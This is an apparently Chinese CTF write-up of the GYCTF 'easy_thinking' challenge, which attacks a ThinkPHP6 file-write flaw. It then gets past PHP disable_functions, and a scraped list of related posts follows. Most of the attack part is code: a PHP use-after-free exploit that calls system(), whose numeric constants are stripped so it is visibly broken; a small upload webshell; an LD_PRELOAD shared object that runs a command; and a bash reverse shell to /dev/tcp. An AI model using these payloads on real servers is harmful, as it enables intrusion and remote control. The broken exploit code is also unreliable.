前期储备:ThinkPHP6 任意文件操作漏洞分析 https://paper.seebug.org/1114/

学习链接:

https://www.freebuf.com/articles/web/192052.html

https://bugs.php.net/bug.php?id=72530

https://www.gem-love.com/ctf/1669.html#easy_thinking

https://www.jianshu.com/p/b0a130fe5c4d

复现:

源码泄露,看了一下是tp6框架,代码审计一下

常见的系统命令函数:

修改session,长度为32位,session后缀改为.php{加上.php后为32位}

在搜索框搜索的内容会直接保存在/runtime/session/目录下,直接getshell

但是上传了一句话连不上去(菜刀8行,可以用antsword),看一下phpinfo,发现许多函数都被ban了,这里学习到了师傅的方法:https://www.gem-love.com/ctf/1669.html#easy_thinking

exp:https://github.com/mm0r1/exploits

<?php

pwn("/readflag"); //这里是想要执行的系统命令

function pwn($cmd) {
global $abc, $helper; function str2ptr(&$str, $p = , $s = ) {
$address = ;
for($j = $s-; $j >= ; $j--) {
$address <<= ;
$address |= ord($str[$p+$j]);
}
return $address;
} function ptr2str($ptr, $m = ) {
$out = "";
for ($i=; $i < $m; $i++) {
$out .= chr($ptr & 0xff);
$ptr >>= ;
}
return $out;
} function write(&$str, $p, $v, $n = ) {
$i = ;
for($i = ; $i < $n; $i++) {
$str[$p + $i] = chr($v & 0xff);
$v >>= ;
}
} function leak($addr, $p = , $s = ) {
global $abc, $helper;
write($abc, 0x68, $addr + $p - 0x10);
$leak = strlen($helper->a);
if($s != ) { $leak %= << ($s * ) - ; }
return $leak;
} function parse_elf($base) {
$e_type = leak($base, 0x10, ); $e_phoff = leak($base, 0x20);
$e_phentsize = leak($base, 0x36, );
$e_phnum = leak($base, 0x38, ); for($i = ; $i < $e_phnum; $i++) {
$header = $base + $e_phoff + $i * $e_phentsize;
$p_type = leak($header, , );
$p_flags = leak($header, , );
$p_vaddr = leak($header, 0x10);
$p_memsz = leak($header, 0x28); if($p_type == && $p_flags == ) { # PT_LOAD, PF_Read_Write
# handle pie
$data_addr = $e_type == ? $p_vaddr : $base + $p_vaddr;
$data_size = $p_memsz;
} else if($p_type == && $p_flags == ) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;
}
} if(!$data_addr || !$text_size || !$data_size)
return false; return [$data_addr, $text_size, $data_size];
} function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = ; $i < $data_size / ; $i++) {
$leak = leak($data_addr, $i * );
if($leak - $base > && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != 0x746e6174736e6f63)
continue;
} else continue; $leak = leak($data_addr, ($i + ) * );
if($leak - $base > && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326e6962)
continue;
} else continue; return $data_addr + $i * ;
}
} function get_binary_base($binary_leak) {
$base = ;
$start = $binary_leak & 0xfffffffffffff000;
for($i = ; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak = leak($addr, , );
if($leak == 0x10102464c457f) { # ELF header
return $addr;
}
}
} function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, , ); if($f_name == 0x6d6574737973) { # system
return leak($addr + );
}
$addr += 0x20;
} while($f_entry != );
return false;
} class ryat {
var $ryat;
var $chtg; function __destruct()
{
$this->chtg = $this->ryat;
$this->ryat = ;
}
} class Helper {
public $a, $b, $c, $d;
} if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');
} $n_alloc = ; # increase this value if you get segfaults $contiguous = [];
for($i = ; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', ); $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
$out = unserialize($poc);
gc_collect_cycles(); $v = [];
$v[] = ptr2str(, );
unset($v);
$abc = $out[][]; $helper = new Helper;
$helper->b = function ($x) { }; if(strlen($abc) == || strlen($abc) == ) {
die("UAF failed");
} # leaks
$closure_handlers = str2ptr($abc, );
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8; # fake value
write($abc, 0x60, );
write($abc, 0x70, ); # fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, 0xa); $closure_obj = str2ptr($abc, 0x20); $binary_leak = leak($closure_handlers, );
if(!($base = get_binary_base($binary_leak))) {
die("Couldn't determine binary base address");
} if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");
} if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");
} if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif_system address");
} # fake closure object
$fake_obj_offset = 0xd0;
for($i = ; $i < 0x110; $i += ) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
} # pwn
write($abc, 0x20, $abc_addr + $fake_obj_offset);
write($abc, 0xd0 + 0x38, , ); # internal func type
write($abc, 0xd0 + 0x68, $zif_system); # internal func handler ($helper->b)($cmd); exit();
}

bypss这些函数要使用到脚本,可是不可能一次性上传大的脚本,于是写了个小马,构造一个表单上传脚本

<?php if(@$_GET["act"]=="save"){if(isset($_POST["content"])&&isset($_POST["name"])){if($_POST["content"]!=""&&$_POST["name"]!=""){if(fwrite(fopen(stripslashes($_POST["name"]),"w"),stripslashes($_POST["content"]))){echo "OK! <a href=\"".stripslashes($_POST["name"])."\">".stripslashes($_POST["name"])."</a>";};}}}else{if(@$_GET["act"]=="godsdoor"){echo '<meta charset="utf-8"><form action="?act=save" method="post">content:<br/><textarea name="content" ></textarea><br/>filenane:<br/><input name="name"/><br/><input type="submit" value="GO!"></form>';}}
?>

上面师傅的blog里还学到了另一个情况,(2019第十届极客挑战赛RCE ME)

通常情况下使用LD_PRELOAD劫持系统函数,参考https://www.freebuf.com/articles/web/192052.html

但是这个题ban了mail(),所以不能用。

与本题类似题目:

2019高校网络信息安全管理运维挑战赛的expass,利用php2016年的漏洞https://bugs.php.net/bug.php?id=72530

脚本是一样的 (师傅tpl!!!)

小记  一般导致webshell不能执行命令的原因

一是 php.ini 中用 disable_functions 指示器禁用了 system()、exec() 等等这类命令执行的相关函数;
二是 web 进程运行在 rbash 这类受限 shell 环境中;
三是 WAF 拦劫。若是一则无法执行任何命令,
若是二、三则可以执行少量命令。从当前现象来看,很可能由 disable_functions 所致。利用前面的 RCE 漏洞执行 phpinfo()可查证推测

绕过思路:

有四种绕过 disable_functions 的手法:
第一种,攻击后端组件,寻找存在命令注入的、web 应用常用的后端组件,如,ImageMagick 的魔图漏洞、bash 的破壳漏洞;
第二种,寻找未禁用的漏网函数,常见的执行命令的函数有 system()、exec()、shell_exec()、passthru(),偏僻的 popen()、proc_open()、pcntl_exec(),逐一尝试,或许有漏网之鱼;
第三种,mod_cgi 模式,尝试修改 .htaccess,调整请求访问路由,绕过 php.ini 中的任何限制;
第四种,利用环境变量 LD_PRELOAD 劫持系统函数,让外部程序加载恶意 *.so,达到执行系统命令的效果(要求PHP支持 putenv()、mail())
如果mail(),putenv()被ban了,就试一下介个脚本

官方wp:

看了官方wp--------------

如果phpinfo里面有 gnupg 拓展,该拓展能够实现在 php 中使用 gpg 加密,测试可以发现使用 gnupg 拓展下的 gnupg_init() 函数 可以进行 bypass。

exp.c

#include <stdlib.h>
__attribute__((constructor)) void j0k3r(){
unsetenv("LD_PRELOAD");
if (getenv("cmd") != NULL){
system(getenv("cmd"));
}else{
system("echo 'no cmd' > /tmp/cmd.output");
}
}

将本地生成exp.so  (  gcc --share -fPIC exp.c -o exp.so  )传入/tmp/下

再传入

<?php putenv("cmd=/bin/bash -c 'bash -i >& /dev/tcp/host/port 0>&1'");putenv("LD_PRELOAD=/tmp/exp.so");gnupg_init();?>

反弹shell,读取文件就可以了

但是我刚开官方wp的时候,很迷惑,mail函数已经被ban了,为什么还可以用LD_PRELOAD突破bypass?????

在buu上复现的时候不行耶。。。。  我去研究研究。。。。。知道了再来写

GYCTF easy_thinking的更多相关文章

  1. GYCTF Flaskapp[SSTI模板注入 ]

    题目复现传送门 学习链接: 找了个师傅的blog先学习一下基础的flask知识 https://www.freebuf.com/column/187845.html(从零学flask) 简单记录一下: ...

  2. GYCTF 盲注【regexp注入+时间盲注】

    考点:regexp注入+时间盲注 源码: <?php # flag在fl4g里 include 'waf.php'; header("Content-type: text/html; ...

  3. GYCTF easyphp 【反序列化配合字符逃逸】

    基础知识可以参考我之前写的那个 0CTF 2016 piapiapia  那个题只是简单记录了一下,学习了一下php反序列化的思路 https://www.cnblogs.com/tiaopideju ...

  4. GYCTF Node game

    考点: NodeJS 代码审计 SSRF 请求夹带 复现: 不太懂js,先留着吧,学懂了再记录

  5. GYCTF ezupload

    上传一句话,没有任何过滤 菜刀连接后,读取flag文件 bash -c/readflag >tmp cat tmp 上面是非预期的解法.应该是题出问题了.看了一个师傅的blog,看源码,发现预期 ...

  6. easy_thinking

    登陆抓包,改成32位,根据tp6任意创建文件的漏洞,修改cookie. 上传文件. 木马在/runtime/session下, 然后传bypass文件绕过disablefunction,得到flag

  7. [BUUOJ记录] [GYCTF]EasyThinking

    主要考察ThinkPHP6.0的一个任意文件写入的CVE以及突破disable_function的方法. ThinkPHP6.0.0任意文件操作漏洞 理论分析 进入题目是一个简单的操作页面,dirma ...

  8. GYCTF Web区部分WP

    目录: Blacklist Easyphp Ezsqli FlaskApp EasyThinking 前言: 这次比赛从第二天开始打的,因为快开学了所以就没怎么看题目(主要还是自己太菜)就只做出一道题 ...

  9. 原型链污染(Node.js污染,javasrcipt原型链污染的)

    学习链接: https://www.jianshu.com/p/6e623e9debe3 关于NJS  https://xz.aliyun.com/t/7184 相关题是 GYCTF  ez_expr ...

随机推荐

  1. Linux Shell 计算脚本执行过程用了多长时间

    #!/bin/bash starttime=`date +'%Y-%m-%d %H:%M:%S'` #执行程序 endtime=`date +'%Y-%m-%d %H:%M:%S'`start_sec ...

  2. Windows渗透备忘录

    Windows渗透备忘录 mimikatz mimikatz.exe ""privilege::debug"" ""sekurlsa::lo ...

  3. windows7精简iso

    网站地址: https://www.90pan.com/b1268487 迅雷链接: magnet:?xt=urn:btih:EE4B0FE780B6EC97D6FB9A9D22A8EE1627DA7 ...

  4. Python核心编程:《8个实践性建议》

    前言 我们在用Python进行机器学习建模项目的时候,每个人都会有自己的一套项目文件管理的习惯,我自己也有一套方法,是自己曾经踩过的坑踩过的雷总结出来的,现在在这里分享一下给大家,因为很多伙伴是接触P ...

  5. 查看mysql是否锁表了

    1.查看表是否被锁: (1)直接在mysql命令行执行:show engine innodb status\G. (2)查看造成死锁的sql语句,分析索引情况,然后优化sql. (3)然后show p ...

  6. win10系统vscode c/c++配置环境

    使用vscode可以完成轻量级的编译器环境搭建,使用vscode 搭建完整的c++开发环境见下网站: https://www.bilibili.com/video/av18436497/?spm_id ...

  7. Android实战项目——家庭记账本(四)

    今天是开发的第四天,完成的主要内容如下: 1.账单查询功能的完善以及查询结果的显示和编辑 2.侧边栏布局的实现 3.首页fragment中本月与上月对比账目情况 实现的效果如图: 已添加的账单内容以及 ...

  8. Spring Boot源码(七):循环依赖

    循环依赖 以及 spring是如何解决循环依赖的 循环依赖 通俗来说 就是beanA中依赖了beanB,beanB中也依赖了beanA. spring是支持循环依赖的,但是默认只支持单例的循环依赖,如 ...

  9. idea 阿波罗(apollo)设置

    项目启动时需要配置环境

  10. nunjucks模板设计一个页面

    使用nunjucks代替原来的ejs,因为这个更强大,是node中主流的模板引擎 nunjucks官网 配置使用 nunjucks 模板引擎 nunjucks 模板引擎没有对模板文件名的后缀名做特定限 ...